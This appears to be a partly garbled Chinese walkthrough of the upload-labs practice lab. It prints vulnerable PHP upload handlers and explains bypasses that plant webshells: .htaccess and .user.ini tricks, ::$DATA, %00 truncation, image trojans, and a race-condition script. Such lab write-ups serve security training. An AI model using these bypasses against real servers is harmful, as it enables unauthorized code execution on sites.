function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif"; //文件白名单
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf(".")); //提取后缀
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
} }
3、方法一:通过断点修改源代码白名单
修改代码白名单,上传silic.php木马文件
看到图片表示上传成功,右击图片复制图片地址,在新窗口打开
密码为Silic
现在就可以为所欲为了。
5、方法三:禁用浏览器JS功能
工具
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] ==
'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
发现对上传文件的type有格式限制
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp'); //过滤:.asp/.aspx/.php/.jsp文件
//PHP常见的文件格式:php php3 php4 php5 php7 phpt phps phtml等
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
} }
分析代码,进行黑名单验证,但是黑名单不全,可以使用php3、php5、phtml等等绕过
但是因为靶场是用phpstudy环境搭建的,要进去修改一下配置文件
修改为AddType application/x-httpd-php .php .phtml .php5 .php3 .php7
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext =
array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini"); //黑名单
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name); //删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
} }
发现这里过滤了所有常见的php文件格式,但是发下有一个文件是没有过滤:.htaccess
.htaccess
基础知识<FilesMatch "zdz">
SetHandler application/x-httpd-php
</FilesMatch>
.user.ini.
)(php5.3、php5.4.45 NTS)$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext =
array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jsp
x",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aS
ax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name); //删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
} }
源码里把所有可以解析的后缀名都给写死了,包括大小写,转换,空格,还有点号,正常的php类文件上传不了了,并且拒绝上传 .htaccess 文件。
反复观察发现没有被限制的后缀名有 .php7 以及 .ini
2、php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。
但是想要引发 .user.ini 解析漏洞需要三个前提条件:
§ 服务器脚本语言为PHP
§ 服务器使用CGI/FastCGI模式
§ 上传目录下要有可执行的php文件
6、测试
因为木马是php格式,所以这里我们需要执行zdz.txt目录下任意一个php文件,它会把zdz.txt中的代码包含进去
成功
这一关黑名单,没有使用deldot()过滤文件名末尾的点,可以使用文件名后加.进行绕过抓包,修改上传一句话木马文件名zdz.php.
其他和Pass7一样
补充知识:php在window的时候如果文件名+"::$DATA
“会把::$DATA
之后的数据当成文件流处理,不会检测后缀名,且保持”::$DATA
"之前的文件名 他的目的就是不检查后缀名。
抓包,加::$DATA
其他和Pass7一样
这一关黑名单,最后上传路径直接使用文件名进行拼接,而且只对文件名进行filename=deldot(file_name=deldot(filename=deldot(file_name)操作去除文件名末尾的点,构造后缀绕过黑名单
补充知识:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来
这一关黑名单,使用str_ireplace()函数寻找文件名中存在的黑名单字符串,将它替换成空(即将它删掉),可以使用双写绕过黑名单
补充知识:str_ireplace(find,replace,string,count) 函数替换字符串中的一些字符(不区分大小写)
其他和Pass7一样
(这一关白名单,最终文件的存放位置是以拼接的方式,可以使用%00截断,但需要php版本<5.3.4,并且magic_quotes_gpc关闭。)
原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16
进制就是0x00。
知识补充:
○ strrpos(string,find[,start]) 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。
○ substr(string,start[,length])函数返回字符串的一部分(从start开始 [,长度为length])
magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST, G E T , _GET, GET,_POST$_COOKIE 输入的内容进行
过滤
这一关和12关相似,不同的是因为直接输入的00为十进制,POST不会对里面的数据自动解码,所以这一关实需要HEX中添加00截断。
代码
:
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节 文件前两个字节为文件格式
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
} } }
这一关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件
使用图片马 + 文件包含 绕过
这里换成通过使用getimagesize()检查是否为图片文件,换汤不换药,所以还是可以用Pass-14的图片马绕过,并使用文件包含
漏洞解析图片马
知识补充
: exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif模块。
剩下和Pass-14一样
这一关对上传图片进行了判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次
渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用
蚁剑进行连接
补充知识:
我们可以这么做:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
} }
从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。
fputs(fopen('shell.php','w'),'');?>
5、同样的道理来无限访问zz.php,直到文件执行生成shell.php
这里状态200就表示访问成功,查看目录发现生成成功
补充
:这里也可以写一个python脚本用来实现一直访问zz.php,代码如下:
import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/zoe.php" while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break 当访问成功后会输出“OK”
补充:这里也可以写一个python脚本用来实现一直访问zz.php,代码如下:
import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/zoe.php" while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break 当访问成功后会输出“OK”
这一关作者代码写错了一个地方,文件的下载路径不是upload,这里我们修改一下
这里代码中用到move_uploaded_file()函数通过后缀黑名单对用户输入的文件名做判断,并且并没有对上传的文件做判断。
但move_uploaded_file()函数会忽略文件末尾的/.,我们可以利用这一点
补充:
explode(separator,string[,limit])
函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
end(array)
函数,输出数组中的当前元素和最后一个元素的值。
reset(array)
函数,把数组的内部指针指向第一个元素,并返回这个元素的值
count(array)
函数,计算数组中的单元数目,或对象中的属性个数
2、抓包修改
我们要改的就是下面的要求: